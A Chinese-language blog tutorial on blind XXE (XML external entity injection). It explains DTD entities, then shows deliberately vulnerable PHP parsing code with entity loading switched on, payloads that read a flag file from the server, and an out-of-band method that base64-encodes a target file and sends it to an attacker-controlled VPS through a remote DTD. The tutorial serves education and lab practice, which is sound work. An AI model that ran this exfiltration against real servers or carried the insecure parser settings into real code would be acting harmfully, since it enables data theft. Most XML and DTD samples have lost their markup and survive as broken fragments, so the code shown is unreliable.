浅析无回显的XXE(Blind XXE)

VSole2022-05-11 16:09:02

xml介绍

XML是一种非常流行的标记语言,在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。但是,在处理外部实体时,可以针对应用程序启动许多攻击。这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。

内部实体

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。

//这一行是 XML 文档定义

上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写

<message>
<receiver>Myselfreceiver>
<sender>Someonesender>
<header>TheReminderheader>
<msg>This is an amazing bookmsg>
message>

其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 XML 中除了能标签以外,还需要有些内容是固定的

]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样

示例代码:

&xxe;
mypass

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换。

外部实体

示例代码:

]>
    &xxe;
    mypass

当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)。

通用实体

&实体名;在DTD 中定义,在 XML 文档中引用

 
 ]> 
  
    Joe  
    &file;  
    ... 

参数实体

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体

(3)和通用实体一样,参数实体也可以外部引用

示例代码:

"> 
 
%an-element; %remote-dtd;

抛转:参数实体在我们 Blind XXE 中起到了至关重要的作用

有回显XXE

这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件。

本地服务器上放上解析 XML 的 php 代码:

xml.php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

其中:LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值

LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件

触发xxe

]>

读取本地服务器C盘的flag文件

 
 ]> 
&goodies;

引用外部实体读取文件

引用方式是使用 引用公用 DTD 的方法读取

无回显XXE

有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器。

xml.php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

test.dtd

"php://filter/read=convert.base64-encode/resource=file:///c:/xxx.txt">
">

payload

%remote;%int;%send;
]>

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

这样,我们就读到了flag文件的内容。

参考文章

https://xz.aliyun.com/t/3357#toc-10 一篇文章带你深入理解漏洞之 XXE 漏洞

实战靶场

复制链接到电脑端操作:https://www.hetianlab.com/expc.do?ec=ECID9117-d620-481d-91f8-344e0ac69dea&pk_campaign=weixin-wemedia#stu

xml语言xml解析
本作品采用《CC 协议》,转载必须注明作者和本文链接
XXE如何理解? 它是可扩展标记语言 ( XML) 用于存储和传输数据。 通常始于异步JavaScript和XML技术(ajax技术):网页应用能够快速地将增量更新呈现在用户界面上,而不需要重载(刷新)整个页面。 目前JSON的使用比XML更加普遍JSON和XML都被用于在Ajax模型中的XML技术
Web Service渗透测试总结
2017 OWASP十大关键Web应用安全风险简析 受越来越短的软件项目生命周期影响,有些应用面临损及金融、医疗、零售业和其他行业数字安全的风险。开发人员和经理必须了解这些最常见的风险,才能保护自己的应用。为此,开放网页应用安全计划(OWASP)定期发布十大最关键Web应用安全风险。 该计划从专精应用安全的公司企业收集40多份数据,数据涵盖数百家公司处收集的漏洞信息,涉及10万个应用和API。 O
浅析xml之xinclude & xslt
2022-05-19 08:17:00
最近依旧在研究xml及其相关安全问题,前一篇文章已经提及了较为大众且CTF中常见的xml攻击方式。
近日,国家信息安全漏洞库(CNNVD)收到关于微信支付SDK XXE(XML External Entity)漏洞(CNNVD-201807-083)情况的报送。成功利用该漏洞的攻击者可以远程读取服务器文件,获取商户服务器上的隐私数据,甚至可以支付任意金额购买商品。
XML外部实体注入
2022-07-28 22:32:56
0x01:简单了解XMLXML 指可扩展标记语言XML的特点及作用:特点:1. xml与操作系统、编程语言的开发平台都无关
但是,在处理外部实体时,可以针对应用程序启动许多攻击。这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。//这一行是 XML 文档定义
--第一行是XML声明-->. --这是XML处理指令的例子。后的第一个单词是处理指令名,在本例中是xml-->. --处理指令一定要顶格写,前面不能有任何空白-->. XML文档必须有且只有一个根元素。version特性表明这个文档符合XML 1.0规范。0x02:实体实体叫ENTITY,实体的作用是避免重复输入。0x03:处理指令PI处理指令用于XML解析器传递信息到应用程序。这些文本将被解析器检查实体以及标记。
禁用XXE处理漫谈
2023-03-13 10:52:32
近期准备面试题时,XXE漏洞防范措施(或者说修复方式)在一些文章中比较简略
VSole
网络安全专家